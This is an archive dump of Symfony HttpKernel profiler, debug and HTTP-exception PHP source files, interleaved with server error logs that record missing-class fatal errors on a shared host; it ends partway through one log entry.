license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Profiler; use Psr\Log\LoggerInterface; use Symfony\Component\HttpFoundation\Exception\ConflictingHeadersException; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\DataCollector\DataCollectorInterface; use Symfony\Component\HttpKernel\DataCollector\LateDataCollectorInterface; use Symfony\Contracts\Service\ResetInterface; /** * Profiler. * * @author Fabien Potencier */ class Profiler implements ResetInterface { private ProfilerStorageInterface $storage; /** * @var DataCollectorInterface[] */ private array $collectors = []; private ?LoggerInterface $logger; private bool $initiallyEnabled = true; private bool $enabled = true; public function __construct(ProfilerStorageInterface $storage, LoggerInterface $logger = null, bool $enable = true) { $this->storage = $storage; $this->logger = $logger; $this->initiallyEnabled = $this->enabled = $enable; } /** * Disables the profiler. * * @return void */ public function disable() { $this->enabled = false; } /** * Enables the profiler. * * @return void */ public function enable() { $this->enabled = true; } public function isEnabled(): bool { return $this->enabled; } /** * Loads the Profile for the given Response. */ public function loadProfileFromResponse(Response $response): ?Profile { if (!$token = $response->headers->get('X-Debug-Token')) { return null; } return $this->loadProfile($token); } /** * Loads the Profile for the given token. */ public function loadProfile(string $token): ?Profile { return $this->storage->read($token); } /** * Saves a Profile. */ public function saveProfile(Profile $profile): bool { // late collect foreach ($profile->getCollectors() as $collector) { if ($collector instanceof LateDataCollectorInterface) { $collector->lateCollect(); } } if (!($ret = $this->storage->write($profile)) && null !== $this->logger) { $this->logger->warning('Unable to store the profiler information.', ['configured_storage' => $this->storage::class]); } return $ret; } /** * Purges all data from the storage. * * @return void */ public function purge() { $this->storage->purge(); } /** * Finds profiler tokens for the given criteria. * * @param int|null $limit The maximum number of tokens to return * @param string|null $start The start date to search from * @param string|null $end The end date to search to * * @see https://php.net/datetime.formats for the supported date/time formats */ public function find(?string $ip, ?string $url, ?int $limit, ?string $method, ?string $start, ?string $end, string $statusCode = null): array { return $this->storage->find($ip, $url, $limit, $method, $this->getTimestamp($start), $this->getTimestamp($end), $statusCode); } /** * Collects data for the given Response. */ public function collect(Request $request, Response $response, \Throwable $exception = null): ?Profile { if (false === $this->enabled) { return null; } $profile = new Profile(substr(hash('sha256', uniqid(mt_rand(), true)), 0, 6)); $profile->setTime(time()); $profile->setUrl($request->getUri()); $profile->setMethod($request->getMethod()); $profile->setStatusCode($response->getStatusCode()); try { $profile->setIp($request->getClientIp()); } catch (ConflictingHeadersException) { $profile->setIp('Unknown'); } if ($prevToken = $response->headers->get('X-Debug-Token')) { $response->headers->set('X-Previous-Debug-Token', $prevToken); } $response->headers->set('X-Debug-Token', $profile->getToken()); foreach ($this->collectors as $collector) { $collector->collect($request, $response, $exception); // we need to clone for sub-requests $profile->addCollector(clone $collector); } return $profile; } /** * @return void */ public function reset() { foreach ($this->collectors as $collector) { $collector->reset(); } $this->enabled = $this->initiallyEnabled; } /** * Gets the Collectors associated with this profiler. */ public function all(): array { return $this->collectors; } /** * Sets the Collectors associated with this profiler. * * @param DataCollectorInterface[] $collectors An array of collectors * * @return void */ public function set(array $collectors = []) { $this->collectors = []; foreach ($collectors as $collector) { $this->add($collector); } } /** * Adds a Collector. * * @return void */ public function add(DataCollectorInterface $collector) { $this->collectors[$collector->getName()] = $collector; } /** * Returns true if a Collector for the given name exists. * * @param string $name A collector name */ public function has(string $name): bool { return isset($this->collectors[$name]); } /** * Gets a Collector by name. * * @param string $name A collector name * * @throws \InvalidArgumentException if the collector does not exist */ public function get(string $name): DataCollectorInterface { if (!isset($this->collectors[$name])) { throw new \InvalidArgumentException(sprintf('Collector "%s" does not exist.', $name)); } return $this->collectors[$name]; } private function getTimestamp(?string $value): ?int { if (null === $value || '' === $value) { return null; } try { $value = new \DateTimeImmutable(is_numeric($value) ? '@'.$value : $value); } catch (\Exception) { return null; } return $value->getTimestamp(); } } http-kernel/Profiler/error_log000064400000005030151113511570012476 0ustar00[19-Nov-2025 14:57:44 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Profiler\ProfilerStorageInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/FileProfilerStorage.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/FileProfilerStorage.php on line 19 [19-Nov-2025 19:18:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/Profiler.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/Profiler.php on line 27 [19-Nov-2025 23:11:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Profiler\ProfilerStorageInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/FileProfilerStorage.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/FileProfilerStorage.php on line 19 [20-Nov-2025 01:25:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/Profiler.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/Profiler.php on line 27 [25-Nov-2025 05:32:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Profiler\ProfilerStorageInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/FileProfilerStorage.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/FileProfilerStorage.php on line 19 [26-Nov-2025 01:22:09 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Profiler\ProfilerStorageInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/FileProfilerStorage.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/FileProfilerStorage.php on line 19 [26-Nov-2025 01:29:25 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/Profiler.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Profiler/Profiler.php on line 27 http-kernel/Profiler/FileProfilerStorage.php000064400000023307151113511570015210 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Profiler; /** * Storage for profiler using files. * * @author Alexandre Salomé */ class FileProfilerStorage implements ProfilerStorageInterface { /** * Folder where profiler data are stored. */ private string $folder; /** * Constructs the file storage using a "dsn-like" path. * * Example : "file:/path/to/the/storage/folder" * * @throws \RuntimeException */ public function __construct(string $dsn) { if (!str_starts_with($dsn, 'file:')) { throw new \RuntimeException(sprintf('Please check your configuration. You are trying to use FileStorage with an invalid dsn "%s". The expected format is "file:/path/to/the/storage/folder".', $dsn)); } $this->folder = substr($dsn, 5); if (!is_dir($this->folder) && false === @mkdir($this->folder, 0777, true) && !is_dir($this->folder)) { throw new \RuntimeException(sprintf('Unable to create the storage directory (%s).', $this->folder)); } } public function find(?string $ip, ?string $url, ?int $limit, ?string $method, int $start = null, int $end = null, string $statusCode = null): array { $file = $this->getIndexFilename(); if (!file_exists($file)) { return []; } $file = fopen($file, 'r'); fseek($file, 0, \SEEK_END); $result = []; while (\count($result) < $limit && $line = $this->readLineFromFile($file)) { $values = str_getcsv($line); if (7 !== \count($values)) { // skip invalid lines continue; } [$csvToken, $csvIp, $csvMethod, $csvUrl, $csvTime, $csvParent, $csvStatusCode] = $values; $csvTime = (int) $csvTime; if ($ip && !str_contains($csvIp, $ip) || $url && !str_contains($csvUrl, $url) || $method && !str_contains($csvMethod, $method) || $statusCode && !str_contains($csvStatusCode, $statusCode)) { continue; } if (!empty($start) && $csvTime < $start) { continue; } if (!empty($end) && $csvTime > $end) { continue; } $result[$csvToken] = [ 'token' => $csvToken, 'ip' => $csvIp, 'method' => $csvMethod, 'url' => $csvUrl, 'time' => $csvTime, 'parent' => $csvParent, 'status_code' => $csvStatusCode, ]; } fclose($file); return array_values($result); } /** * @return void */ public function purge() { $flags = \FilesystemIterator::SKIP_DOTS; $iterator = new \RecursiveDirectoryIterator($this->folder, $flags); $iterator = new \RecursiveIteratorIterator($iterator, \RecursiveIteratorIterator::CHILD_FIRST); foreach ($iterator as $file) { if (is_file($file)) { unlink($file); } else { rmdir($file); } } } public function read(string $token): ?Profile { return $this->doRead($token); } /** * @throws \RuntimeException */ public function write(Profile $profile): bool { $file = $this->getFilename($profile->getToken()); $profileIndexed = is_file($file); if (!$profileIndexed) { // Create directory $dir = \dirname($file); if (!is_dir($dir) && false === @mkdir($dir, 0777, true) && !is_dir($dir)) { throw new \RuntimeException(sprintf('Unable to create the storage directory (%s).', $dir)); } } $profileToken = $profile->getToken(); // when there are errors in sub-requests, the parent and/or children tokens // may equal the profile token, resulting in infinite loops $parentToken = $profile->getParentToken() !== $profileToken ? $profile->getParentToken() : null; $childrenToken = array_filter(array_map(fn (Profile $p) => $profileToken !== $p->getToken() ? $p->getToken() : null, $profile->getChildren())); // Store profile $data = [ 'token' => $profileToken, 'parent' => $parentToken, 'children' => $childrenToken, 'data' => $profile->getCollectors(), 'ip' => $profile->getIp(), 'method' => $profile->getMethod(), 'url' => $profile->getUrl(), 'time' => $profile->getTime(), 'status_code' => $profile->getStatusCode(), ]; $data = serialize($data); if (\function_exists('gzencode')) { $data = gzencode($data, 3); } if (false === file_put_contents($file, $data, \LOCK_EX)) { return false; } if (!$profileIndexed) { // Add to index if (false === $file = fopen($this->getIndexFilename(), 'a')) { return false; } fputcsv($file, [ $profile->getToken(), $profile->getIp(), $profile->getMethod(), $profile->getUrl(), $profile->getTime() ?: time(), $profile->getParentToken(), $profile->getStatusCode(), ]); fclose($file); if (1 === mt_rand(1, 10)) { $this->removeExpiredProfiles(); } } return true; } /** * Gets filename to store data, associated to the token. */ protected function getFilename(string $token): string { // Uses 4 last characters, because first are mostly the same. $folderA = substr($token, -2, 2); $folderB = substr($token, -4, 2); return $this->folder.'/'.$folderA.'/'.$folderB.'/'.$token; } /** * Gets the index filename. */ protected function getIndexFilename(): string { return $this->folder.'/index.csv'; } /** * Reads a line in the file, backward. * * This function automatically skips the empty lines and do not include the line return in result value. * * @param resource $file The file resource, with the pointer placed at the end of the line to read */ protected function readLineFromFile($file): mixed { $line = ''; $position = ftell($file); if (0 === $position) { return null; } while (true) { $chunkSize = min($position, 1024); $position -= $chunkSize; fseek($file, $position); if (0 === $chunkSize) { // bof reached break; } $buffer = fread($file, $chunkSize); if (false === ($upTo = strrpos($buffer, "\n"))) { $line = $buffer.$line; continue; } $position += $upTo; $line = substr($buffer, $upTo + 1).$line; fseek($file, max(0, $position), \SEEK_SET); if ('' !== $line) { break; } } return '' === $line ? null : $line; } /** * @return Profile */ protected function createProfileFromData(string $token, array $data, Profile $parent = null) { $profile = new Profile($token); $profile->setIp($data['ip']); $profile->setMethod($data['method']); $profile->setUrl($data['url']); $profile->setTime($data['time']); $profile->setStatusCode($data['status_code']); $profile->setCollectors($data['data']); if (!$parent && $data['parent']) { $parent = $this->read($data['parent']); } if ($parent) { $profile->setParent($parent); } foreach ($data['children'] as $token) { if (null !== $childProfile = $this->doRead($token, $profile)) { $profile->addChild($childProfile); } } return $profile; } private function doRead($token, Profile $profile = null): ?Profile { if (!$token || !file_exists($file = $this->getFilename($token))) { return null; } $h = fopen($file, 'r'); flock($h, \LOCK_SH); $data = stream_get_contents($h); flock($h, \LOCK_UN); fclose($h); if (\function_exists('gzdecode')) { $data = @gzdecode($data) ?: $data; } if (!$data = unserialize($data)) { return null; } return $this->createProfileFromData($token, $data, $profile); } private function removeExpiredProfiles(): void { $minimalProfileTimestamp = time() - 2 * 86400; $file = $this->getIndexFilename(); $handle = fopen($file, 'r'); if ($offset = is_file($file.'.offset') ? (int) file_get_contents($file.'.offset') : 0) { fseek($handle, $offset); } while ($line = fgets($handle)) { $values = str_getcsv($line); if (7 !== \count($values)) { // skip invalid lines $offset += \strlen($line); continue; } [$csvToken, , , , $csvTime] = $values; if ($csvTime >= $minimalProfileTimestamp) { break; } @unlink($this->getFilename($csvToken)); $offset += \strlen($line); } fclose($handle); file_put_contents($file.'.offset', $offset); } } http-kernel/Debug/FileLinkFormatter.php000064400000006620151113511570014125 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Debug; use Symfony\Component\ErrorHandler\ErrorRenderer\ErrorRendererInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; /** * Formats debug file links. * * @author Jérémy Romey * * @final */ class FileLinkFormatter { private array|false $fileLinkFormat; private ?RequestStack $requestStack = null; private ?string $baseDir = null; private \Closure|string|null $urlFormat; /** * @param string|\Closure $urlFormat the URL format, or a closure that returns it on-demand */ public function __construct(string|array $fileLinkFormat = null, RequestStack $requestStack = null, string $baseDir = null, string|\Closure $urlFormat = null) { $fileLinkFormat ??= $_ENV['SYMFONY_IDE'] ?? $_SERVER['SYMFONY_IDE'] ?? ''; if (!\is_array($f = $fileLinkFormat)) { $f = (ErrorRendererInterface::IDE_LINK_FORMATS[$f] ?? $f) ?: \ini_get('xdebug.file_link_format') ?: get_cfg_var('xdebug.file_link_format') ?: 'file://%f#L%l'; $i = strpos($f, '&', max(strrpos($f, '%f'), strrpos($f, '%l'))) ?: \strlen($f); $fileLinkFormat = [substr($f, 0, $i)] + preg_split('/&([^>]++)>/', substr($f, $i), -1, \PREG_SPLIT_DELIM_CAPTURE); } $this->fileLinkFormat = $fileLinkFormat; $this->requestStack = $requestStack; $this->baseDir = $baseDir; $this->urlFormat = $urlFormat; } /** * @return string|false */ public function format(string $file, int $line): string|bool { if ($fmt = $this->getFileLinkFormat()) { for ($i = 1; isset($fmt[$i]); ++$i) { if (str_starts_with($file, $k = $fmt[$i++])) { $file = substr_replace($file, $fmt[$i], 0, \strlen($k)); break; } } return strtr($fmt[0], ['%f' => $file, '%l' => $line]); } return false; } /** * @internal */ public function __sleep(): array { $this->fileLinkFormat = $this->getFileLinkFormat(); return ['fileLinkFormat']; } /** * @internal */ public static function generateUrlFormat(UrlGeneratorInterface $router, string $routeName, string $queryString): ?string { try { return $router->generate($routeName).$queryString; } catch (\Throwable) { return null; } } private function getFileLinkFormat(): array|false { if ($this->fileLinkFormat) { return $this->fileLinkFormat; } if ($this->requestStack && $this->baseDir && $this->urlFormat) { $request = $this->requestStack->getMainRequest(); if ($request instanceof Request && (!$this->urlFormat instanceof \Closure || $this->urlFormat = ($this->urlFormat)())) { return [ $request->getSchemeAndHttpHost().$this->urlFormat, $this->baseDir.\DIRECTORY_SEPARATOR, '', ]; } } return false; } } http-kernel/Debug/TraceableEventDispatcher.php000064400000006576151113511570015451 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Debug; use Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher as BaseTraceableEventDispatcher; use Symfony\Component\HttpKernel\KernelEvents; /** * Collects some data about event listeners. * * This event dispatcher delegates the dispatching to another one. * * @author Fabien Potencier */ class TraceableEventDispatcher extends BaseTraceableEventDispatcher { /** * @return void */ protected function beforeDispatch(string $eventName, object $event) { switch ($eventName) { case KernelEvents::REQUEST: $event->getRequest()->attributes->set('_stopwatch_token', substr(hash('sha256', uniqid(mt_rand(), true)), 0, 6)); $this->stopwatch->openSection(); break; case KernelEvents::VIEW: case KernelEvents::RESPONSE: // stop only if a controller has been executed if ($this->stopwatch->isStarted('controller')) { $this->stopwatch->stop('controller'); } break; case KernelEvents::TERMINATE: $sectionId = $event->getRequest()->attributes->get('_stopwatch_token'); if (null === $sectionId) { break; } // There is a very special case when using built-in AppCache class as kernel wrapper, in the case // of an ESI request leading to a `stale` response [B] inside a `fresh` cached response [A]. // In this case, `$token` contains the [B] debug token, but the open `stopwatch` section ID // is equal to the [A] debug token. Trying to reopen section with the [B] token throws an exception // which must be caught. try { $this->stopwatch->openSection($sectionId); } catch (\LogicException) { } break; } } /** * @return void */ protected function afterDispatch(string $eventName, object $event) { switch ($eventName) { case KernelEvents::CONTROLLER_ARGUMENTS: $this->stopwatch->start('controller', 'section'); break; case KernelEvents::RESPONSE: $sectionId = $event->getRequest()->attributes->get('_stopwatch_token'); if (null === $sectionId) { break; } $this->stopwatch->stopSection($sectionId); break; case KernelEvents::TERMINATE: // In the special case described in the `preDispatch` method above, the `$token` section // does not exist, then closing it throws an exception which must be caught. $sectionId = $event->getRequest()->attributes->get('_stopwatch_token'); if (null === $sectionId) { break; } try { $this->stopwatch->stopSection($sectionId); } catch (\LogicException) { } break; } } } http-kernel/Debug/error_log000064400000001414151113511570011744 0ustar00[25-Nov-2025 03:01:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Debug/TraceableEventDispatcher.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Debug/TraceableEventDispatcher.php on line 24 [26-Nov-2025 01:52:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Debug/TraceableEventDispatcher.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Debug/TraceableEventDispatcher.php on line 24 http-kernel/Debug/ErrorHandlerConfigurator.php000064400000007215151113511570015517 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Debug; use Psr\Log\LoggerInterface; use Symfony\Component\ErrorHandler\ErrorHandler; /** * Configures the error handler. * * @final * * @internal */ class ErrorHandlerConfigurator { private ?LoggerInterface $logger; private ?LoggerInterface $deprecationLogger; private array|int|null $levels; private ?int $throwAt; private bool $scream; private bool $scope; /** * @param array|int|null $levels An array map of E_* to LogLevel::* or an integer bit field of E_* constants * @param int|null $throwAt Thrown errors in a bit field of E_* constants, or null to keep the current value * @param bool $scream Enables/disables screaming mode, where even silenced errors are logged * @param bool $scope Enables/disables scoping mode */ public function __construct(LoggerInterface $logger = null, array|int|null $levels = \E_ALL, ?int $throwAt = \E_ALL, bool $scream = true, bool $scope = true, LoggerInterface $deprecationLogger = null) { $this->logger = $logger; $this->levels = $levels ?? \E_ALL; $this->throwAt = \is_int($throwAt) ? $throwAt : (null === $throwAt ? null : ($throwAt ? \E_ALL : null)); $this->scream = $scream; $this->scope = $scope; $this->deprecationLogger = $deprecationLogger; } /** * Configures the error handler. */ public function configure(ErrorHandler $handler): void { if ($this->logger || $this->deprecationLogger) { $this->setDefaultLoggers($handler); if (\is_array($this->levels)) { $levels = 0; foreach ($this->levels as $type => $log) { $levels |= $type; } } else { $levels = $this->levels; } if ($this->scream) { $handler->screamAt($levels); } if ($this->scope) { $handler->scopeAt($levels & ~\E_USER_DEPRECATED & ~\E_DEPRECATED); } else { $handler->scopeAt(0, true); } $this->logger = $this->deprecationLogger = $this->levels = null; } if (null !== $this->throwAt) { $handler->throwAt($this->throwAt, true); } } private function setDefaultLoggers(ErrorHandler $handler): void { if (\is_array($this->levels)) { $levelsDeprecatedOnly = []; $levelsWithoutDeprecated = []; foreach ($this->levels as $type => $log) { if (\E_DEPRECATED == $type || \E_USER_DEPRECATED == $type) { $levelsDeprecatedOnly[$type] = $log; } else { $levelsWithoutDeprecated[$type] = $log; } } } else { $levelsDeprecatedOnly = $this->levels & (\E_DEPRECATED | \E_USER_DEPRECATED); $levelsWithoutDeprecated = $this->levels & ~\E_DEPRECATED & ~\E_USER_DEPRECATED; } $defaultLoggerLevels = $this->levels; if ($this->deprecationLogger && $levelsDeprecatedOnly) { $handler->setDefaultLogger($this->deprecationLogger, $levelsDeprecatedOnly); $defaultLoggerLevels = $levelsWithoutDeprecated; } if ($this->logger && $defaultLoggerLevels) { $handler->setDefaultLogger($this->logger, $defaultLoggerLevels); } } } http-kernel/Exception/NotAcceptableHttpException.php000064400000001131151113511570016667 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey */ class NotAcceptableHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(406, $message, $previous, $headers, $code); } } http-kernel/Exception/LockedHttpException.php000064400000001126151113511570015370 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Peter Dietrich */ class LockedHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(423, $message, $previous, $headers, $code); } } http-kernel/Exception/ServiceUnavailableHttpException.php000064400000001532151113511570017734 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey */ class ServiceUnavailableHttpException extends HttpException { /** * @param int|string|null $retryAfter The number of seconds or HTTP-date after which the request may be retried */ public function __construct(int|string $retryAfter = null, string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { if ($retryAfter) { $headers['Retry-After'] = $retryAfter; } parent::__construct(503, $message, $previous, $headers, $code); } } http-kernel/Exception/UnprocessableEntityHttpException.php000064400000001150151113511570020166 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Steve Hutchins */ class UnprocessableEntityHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(422, $message, $previous, $headers, $code); } } http-kernel/Exception/InvalidMetadataException.php000064400000000534151113511570016360 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; class InvalidMetadataException extends \LogicException { } http-kernel/Exception/NotFoundHttpException.php000064400000001133151113511570015721 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Fabien Potencier */ class NotFoundHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(404, $message, $previous, $headers, $code); } } http-kernel/Exception/MethodNotAllowedHttpException.php000064400000001367151113511570017407 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Kris Wallsmith */ class MethodNotAllowedHttpException extends HttpException { /** * @param string[] $allow An array of allowed methods */ public function __construct(array $allow, string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { $headers['Allow'] = strtoupper(implode(', ', $allow)); parent::__construct(405, $message, $previous, $headers, $code); } } http-kernel/Exception/LengthRequiredHttpException.php000064400000001132151113511570017106 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey */ class LengthRequiredHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(411, $message, $previous, $headers, $code); } } http-kernel/Exception/HttpException.php000064400000002102151113511570014241 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * HttpException. * * @author Kris Wallsmith */ class HttpException extends \RuntimeException implements HttpExceptionInterface { private int $statusCode; private array $headers; public function __construct(int $statusCode, string $message = '', \Throwable $previous = null, array $headers = [], int $code = 0) { $this->statusCode = $statusCode; $this->headers = $headers; parent::__construct($message, $code, $previous); } public function getStatusCode(): int { return $this->statusCode; } public function getHeaders(): array { return $this->headers; } /** * @return void */ public function setHeaders(array $headers) { $this->headers = $headers; } } http-kernel/Exception/BadRequestHttpException.php000064400000001126151113511600016220 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey */ class BadRequestHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(400, $message, $previous, $headers, $code); } } http-kernel/Exception/AccessDeniedHttpException.php000064400000001215151113511600016472 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Fabien Potencier * @author Christophe Coevoet */ class AccessDeniedHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(403, $message, $previous, $headers, $code); } } http-kernel/Exception/UnexpectedSessionUsageException.php000064400000000640151113511600017756 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Mathias Arlaud */ class UnexpectedSessionUsageException extends \LogicException { } http-kernel/Exception/PreconditionFailedHttpException.php000064400000001136151113511600017724 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey */ class PreconditionFailedHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(412, $message, $previous, $headers, $code); } } http-kernel/Exception/ConflictHttpException.php000064400000001124151113511600015720 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey */ class ConflictHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(409, $message, $previous, $headers, $code); } } http-kernel/Exception/error_log000064400000056322151113511600012656 0ustar00[19-Nov-2025 14:36:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotFoundHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotFoundHttpException.php on line 17 [19-Nov-2025 14:39:30 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/AccessDeniedHttpException.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/AccessDeniedHttpException.php on line 18 [19-Nov-2025 14:44:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/BadRequestHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/BadRequestHttpException.php on line 17 [19-Nov-2025 14:51:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ConflictHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ConflictHttpException.php on line 17 [19-Nov-2025 14:53:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnauthorizedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnauthorizedHttpException.php on line 17 [19-Nov-2025 14:55:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LockedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LockedHttpException.php on line 17 [19-Nov-2025 14:59:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnprocessableEntityHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnprocessableEntityHttpException.php on line 17 [19-Nov-2025 15:01:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionFailedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionFailedHttpException.php on line 17 [19-Nov-2025 15:02:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ServiceUnavailableHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ServiceUnavailableHttpException.php on line 17 [19-Nov-2025 15:05:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in 